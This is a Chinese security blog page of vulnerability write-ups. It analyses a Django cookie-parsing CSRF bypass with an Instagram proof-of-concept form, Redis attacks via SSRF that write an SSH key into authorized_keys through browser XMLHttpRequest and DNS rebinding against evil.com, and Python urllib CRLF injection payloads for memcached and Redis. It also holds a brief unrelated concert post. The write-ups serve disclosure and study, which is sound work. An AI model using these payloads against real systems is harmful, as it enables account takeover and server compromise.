Django CSRF 防护绕过漏洞分析

原始漏洞链接 https://hackerone.com/reports/26647

使用 Google Analytics 进行 Cookie 注入

  • Google Analytics 会设置这样的 Cookie 来追踪用户访问
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

比如

__utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/
  • 用户可以完全控制 referer 中的 path,然后在放入__utmz的时候没有过滤

不同的 web server 对 Cookie parse 结果的不同

  • 一个正常的Cookie是这样子的 Cookie: param1=value1; param2=value2;
  • 但是很多 web server 也可以接收使用逗号分隔的

    Cookie: param1=value2, param2=value2
    Cookie: param1=value2,param2=value2
    

Python 和 Django 使用了不正确的正则表达式来 parse Cookie,导致用户也可以使用[]来作为分隔符 Cookie: param1=value1]param2=value2

参考

例子

 >>> from http import cookies
 >>> C = cookies.SimpleCookie()
 >>> C.load('__utmz=blah]csrftoken=x')
 >>> C
 <SimpleCookie: csrftoken='x'>

不同的浏览器对 Cookie 处理结果的不同

除了 Safari 之外,其他的浏览器都可以在 Cookie value 中使用空格、逗号和[]字符。

而且 Chrome 只可以处理有限的 Cookie 属性,比如

Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com;

最终只能给.google.com而不是blah.blah.blah.google.com设置上 Cookie

综合在一起利用

条件是

  • 网站使用 Google Analytics
  • 网站使用的 server 或后端有 Cookie 解析的问题,比如 Django
  • 网站使用了基于 Cookie 的 CSRF 防护方法

结果

  • 我们可以设置任意的 Cookie 或者覆盖已有的 Cookie
  • 这个网站就有 CSRF 防护绕过的问题

POC

使用 Chrome 可以在 instagram.com 上复现这个问题

http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html的源码是

<form 
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed" 
id="csrf" 
method="POST">
      <input type="hidden" name="csrfmiddlewaretoken" value="x" />
      <input type="submit" value="Submit request" />
</form>
<script>
      function xxx() {
        document.getElementById('csrf').submit();
      }
</script>
<iframe 
onload="xxx()" 
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

描述

  • 用户已经登录了 instagram.com
  • 让用户访问下面的链接,同时假设他没有访问过blog.instagram.com,也没有这个子域名的__utmzhttp://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/ 这时候,Cookie 就会使用新的 path 和 domain,.instgram.com 就会被设置一个新的 Cookie _utmz=90378079.1401435337.1.1.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/r/,]csrftoken=x,
  • 这时候,服务器就会认为 Cookie 中的__utmz是错误的格式,CSRF token是x
  • 使用 CSRF token 提交上面的表单

修复

Python 的 patch 是 https://hg.python.org/cpython/rev/270f61ec1157,但是后来发现还是有问题的,比如

C = cookies.SimpleCookie()
C.load('__utmz=blah csrftoken=x')
C.load('__utmz=blah\x09csrftoken=x')
C.load('__utmz=blah\x0bcsrftoken=x')
C.load('__utmz=blah\x0ccsrftoken=x') 

仍然会被解析为两个 Cookie,但是实际的浏览器处理并不一样

  • IE 浏览器会把\x09 \x0b \x0c替换为下划线
  • Chrome 会忽略这种 Cookie
  • Google Analytics 会把空格替换为 %20,当然这不重要,因为其他的 JS 也可能有问题

但是 Firefox 是支持所有的字符的,所以可以这样利用

  • 移除 instgram.com 的所有 Cookie
  • 使用 Firefox 打开 http://instagram.com/?utm_source=1&utm_medium=2&utm_campaign=3&utm_term=4&utm_content=5%09csrftoken=x#
  • 刷新页面,你会发现 csrftoken=x

最近 Django 修复了这个问题,https://www.djangoproject.com/weblog/2016/sep/26/security-releases/,使用了简单的 parse Cookie 的方法,https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a,虽然不太标准,但是已经足够了。

思考

Just Rock It 2016

大量高清原图和视频,流量党谨慎点开

第一次听五月天的歌应该就是在大一了,某舍友弹吉他会的为数不多的曲子之一。

四年后,五月天在北京鸟巢开演唱会,我也毕业了工作了,就热情满满的去参加了~

阅读全文...

Redis和SSRF

你以为bind了127.0.0.1就安全了么?

本地写文件

这个爆出来很久了。原理就是利用Redis的数据持久化。设置持久化文件的名称和路径,然后在Redis中写入文件内容,给Redis发送持久化的命令,这样Redis就会将数据库的内容写入执行的文件了。详细参考 http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

这个并不一定需要SSRF,如果Redis未授权访问的,那同样可以利用。

利用点

  • $Home/.ssh/authorized_keys,root用户就是/root,其他用户需要猜测或者遍历用户名。
  • /var/spool/cron,然后crontab定期执行,因为Redis持久化的数据可能包含其他的数据,所以写入的文件可能有一些垃圾信息,但是crontab对格式要求比较松,避免先去flushall Redis。
  • 写webshell,但是得已知路径
  • slave of $IP 主从模式利用
  • /etc/profile.d/用户环境变量
  • AOF类型持久化,和RDB持久化类似,但是是纯文本的格式

Redis中数据和web应用的结合

如果控制了Redis中的数据,很多时候和直接控制了数据库是一样的,可以有针对性的修改数据。参考 https://www.seebug.org/vuldb/ssvid-91879 在Redis中更改了全局变量的值,导致任意代码执行。里面有对gopher协议的利用,参考 https://blog.chaitin.com/gopher-attack-surfaces/

Redis Lua Sandbox Escape

详情见 http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

利用了Redis的Lua支持,但是Redis的Lua是有sandbox的,不能执行任意的代码,怎么去尝试绕过?

https://gist.github.com/corsix/6575486 实现的了三个功能

  • 读取TValue结构体中的值
  • 读取任意内存地址上的8个字节,可以导致基地址泄露
  • 任意内存地址写8个字节

作者在多个系统和多个Redis上都测试通过,Redis已经修复这个问题 https://groups.google.com/forum/#!msg/redis-db/4Y6OqK8gEyk/Dg-5cejl-eUJ

SSRF和CSRF结合体 看网页也能被拿shell

今天看到老外发了一个脑洞,https://ericrafaloff.com/client-side-redis-attack-poc/ 使用ajax直接给Redis发送请求,也利用的是Redis的Lua支持,原文中的Demo被我修改为写入ssh公钥的,当然上面提到的其他攻击方法都可以使用。

var keydir = "/root/.ssh";
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"hacked\", "\\r\\n\\nssh-rsa AAAAB... virusdefender@LiYangs-MacBook-Pro.local\\n\\n\\n\\n\"); redis.call(\"config\", \"set\", \"dir\", \"' + keydir + '/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"authorized_keys\"); ' + '\' 0' + "\r\n");

var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('save\r\n');

在这里有一个最大的限制就是浏览器跨域请求的问题,根据 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
简单请求是可以直接跨域发送的,但是无法收到响应,简单请求的定义如下

只使用 GET, HEAD 或者 POST 请求方法。如果使用 POST 向服务器端传送数据,则数据类型(Content-Type)只能是 application/x-www-form-urlencoded, multipart/form-data 或 text/plain中的一种。

这里符合条件,所以可以直接发送请求到Redis端口。当然,还可以利用DNS Rebinding来绕过同源策略。步骤如下

  • 解析evil.com到正常ip,使用比较小的TTL
  • 用户浏览页面,页面中setTimeout到100秒后发送一个ajax请求到evil.com
  • 解析evil.com127.0.0.1,因为TTL很小,所以生效很快,而且浏览器也会重新发送DNS查询
  • 100秒后,请求实际被发送到了127.0.0.1

阅读全文...

Python urllib HTTP头注入漏洞

已经发在了乌云知识库 http://drops.wooyun.org/papers/16905

总览

Python的urllib库(在Python2中为urllib2,在Python3中为urllib)有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web server,那这个漏洞可能会危害内网服务安全。

问题在哪

HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

这段代码只是从命令行参数接收一个URL,然后去访问它。为了查看urllib获取的HTTP头,我们用一个nc来监听端口。

nc -l -p 12345

在正常的代码中,我们可以这样访问

./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP头是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345

然后我们使用恶意构造的地址

./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP头就是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

然后攻击者可以任意注入HTTP头了。

这个攻击在使用域名的时候也可以进行,但是要插入一个空字节才能进行DNS查询。比如说,下面的URL进行解析会失败的。

http://localhost%0d%0ax-bar:%20:12345/foo

但是下面的URL是可以正常解析并访问到127.0.0.1的

http://localhost%00%0d%0ax-bar:%20:12345/foo

要注意的是HTTP重定向也可以利用这个漏洞,如果攻击者提供的URL是一个恶意的web server,然后服务器可以重定向到其他的URL也可以导致协议注入。

攻击面

下面会讨论几个可能导致严重后果的攻击方式。当然还远远不够,攻击都需要特定的场景,有很多不同的方法可以利用,还不能确定有没有其他的利用方式。

HTTP头注入和请求伪造

这个攻击方式由来已久了,但是和以前的请求伪造不同的是,这里仅仅是可以注入额外的HTTP头和请求方法。当然当前场景下,能够提交不同的HTTP方法和请求数据就已经很有用了,比如说原始的请求是这样的

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

攻击者可以注入一个额外的完整的HTTP请求头

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

这个的响应是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: Keep-Alive

POST /bar HTTP/1.1
Host: 127.0.0.1
Content-Length: 31

{"new":"json","content":"here"}
:12345
Connection: close

demo中注入的完整的请求头在Apache HTTPD下是工作的,但是其他的server不一定能正确的解析或者利用。这种攻击可以用在内网攻击上,比如未授权的REST、SOAP或者类似的服务Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

攻击memcached

memcached文档中,memcached会开放几个简单的网络协议接口供缓存数据读取和存储使用。一般来说,这种mamcached都是部署在应用服务器上,这样多个实例之间共享数据或者进行一些操作就会比较快,不用进行数据库操作了。要注意的是,memcached默认是都没有密码保护的。开发者或者管理员一般也是认为内网的应用是无法被攻击的。

这样,如果我们可以控制内网的Python访问一个URL,然后我们就可以轻松的访问memcached了,比如

http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

就会产生下面的HTTP头

GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211

当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行。下面是memcached的响应(memcached是Debian下包管理默认配置安装的)

ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

经过确认,memcached中确实成功的插入了foo的值。这种场景下,攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据(比如用户的session数据,HTML或者其他的敏感数据),攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击,就是攻击者可以在memcached中存储大量的数据。

攻击Redis

Redis和memcached很相似,因为都提供了数据备份存储,一些内置数据类型,还能执行Lua脚本。前几年Quite a bit公布了攻击Redis的一些方法(链接1 链接2 链接3)。和memcached类似,Redis提供了TCP协议的接口,然后也可以执行一堆错误命令中的正确命令。另外,还可以利用Redis在写任意文件,攻击者可以控制一部分文件内容。比如下面的URL在/tmp/evil下创建了一个数据库文件。

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

然后可以看到刚才存储的一些键值对数据

# strings -n 3 /tmp/evil
REDIS0006
foo
bar

理论上,攻击者就可以利用Redis创建或者改写一些敏感文件了,包括

 ~redis/.profile
 ~redis/.ssh/authorized_keys
...

多版本的Python都受到影响

Python 2和3版本都受到影响,Cedric Buissart 提供了修复问题的部分信息。

3.4 / 3.5 : revision 94952
2.7 : revision 94951

虽然已经在最新的版本中修复了,但是很多系统的稳定版是没法得到修复的,比如最新的Debian Stable就还存在这个漏洞。

我的一点思考

Redis和memcached的开发者提供的默认配置是没有密码的,这个是不负责任的。当然,我能理解他们认为这些东西应该在"可信的内网"中使用。问题,实际上很少的内网能比外网更安全。未授权的服务即使监听在localhost,也会受到影响的。在安装过程中加一个随机生成的密码也并不难,开发者应该严肃的面对安全问题。

原文 http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

"Hack" Ruff开发板(一)

"Hack"是加了引号的,并没有发现什么问题。至于里面JavaScript解释器有没有问题,那就是另外一回事了。

Ruff是一个使用JavaScript进行开发的的嵌入式开发板,官网是 https://ruff.io/zh-cn/。好多天之前就买了一个,一直在玩自带的几个传感器、开关等等。今天突然想了解一下它的内部的系统,就简单的分析了一下。

阅读全文...